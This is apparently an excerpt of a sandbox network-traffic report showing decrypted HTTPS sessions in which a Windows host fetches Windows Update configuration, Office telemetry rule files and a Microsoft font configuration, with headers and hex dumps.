2024-11-29 18:49:23 UTC	479	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=114628 Date: Fri, 29 Nov 2024 18:49:23 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49717	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:23 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=pHarSwZcwhL4vrP&MD=ZoSHVHXf HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-29 18:49:24 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: e3b5c523-0f49-4b3b-8dec-36e186bda7c4 MS-RequestId: 20526eac-08d2-40c7-b66c-2571d52a7f07 MS-CV: g/Pp6nZiU0SE+1R5.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 29 Nov 2024 18:49:23 GMT Connection: close Content-Length: 24490
2024-11-29 18:49:24 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-29 18:49:24 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.5	49730	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:24 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:24 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:24 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 0b3277ea-501e-00a0-5e91-3f9d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184924Z-174f7845968kvnqxhC1EWRmf3g0000000m40000000009kbb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:24 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.5	49732	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:24 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:24 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:24 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 0a3cdbcf-401e-0016-597f-3f53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184924Z-174f78459684bddphC1EWRbht400000010300000000076ve x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:24 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.5	49734	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:24 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:24 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:24 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 6eac4bdd-a01e-006f-1c91-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184924Z-174f7845968pf68xhC1EWRr4h800000010g000000000fxsd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:24 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.5	49731	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:24 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:24 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:24 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 4faee4dc-001e-00a2-5b66-40d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184924Z-174f7845968frfdmhC1EWRxxbw00000010dg000000005zf0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:24 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.5	49733	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:24 UTC	192	OUT	GET /rules/rule120100v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:24 UTC	471	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:24 GMT Content-Type: text/xml Content-Length: 1000 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB097AFC9" x-ms-request-id: 6584919e-f01e-0003-06a3-3f4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184924Z-174f7845968jrjrxhC1EWRmmrs00000010f00000000092yk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:24 UTC	1000	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 31 30 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 32 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 52 65 73 75 6d 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 49 20 54 3d 22 33 22 20 49 3d 22 33 30 73 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 35 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120100" V="3" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <A T="2" E="TelemetryResume" /> <TI T="3" I="30s" /> <R T="4" R="120100" /> <TH T="5">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49736	2.18.84.141	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:25 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-29 18:49:25 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=174374 Date: Fri, 29 Nov 2024 18:49:25 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-29 18:49:25 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.5	49738	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:26 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:27 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:26 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: dc0e4179-901e-005b-2991-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184926Z-174f78459684bddphC1EWRbht40000000zz000000000kfms x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:27 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.5	49739	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:26 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:27 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:26 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 8ccd6c39-f01e-0085-6e81-3f88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184926Z-174f7845968qj8jrhC1EWRh41s00000010b0000000003he3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:27 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	49740	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:26 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:27 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:26 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 2030f408-901e-005b-5762-402005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184926Z-174f7845968vqt9xhC1EWRgten00000010dg000000005wwv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:27 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.5	49741	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:26 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:27 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:26 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 30944020-a01e-0053-5e8b-3f8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184926Z-174f78459685m244hC1EWRgp2c000000108g000000001f0r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:27 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.5	49742	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:26 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:27 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:27 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 6f96f590-e01e-0099-0e7f-3fda8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184927Z-174f7845968j6t2phC1EWRcfe800000010m0000000000ad7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
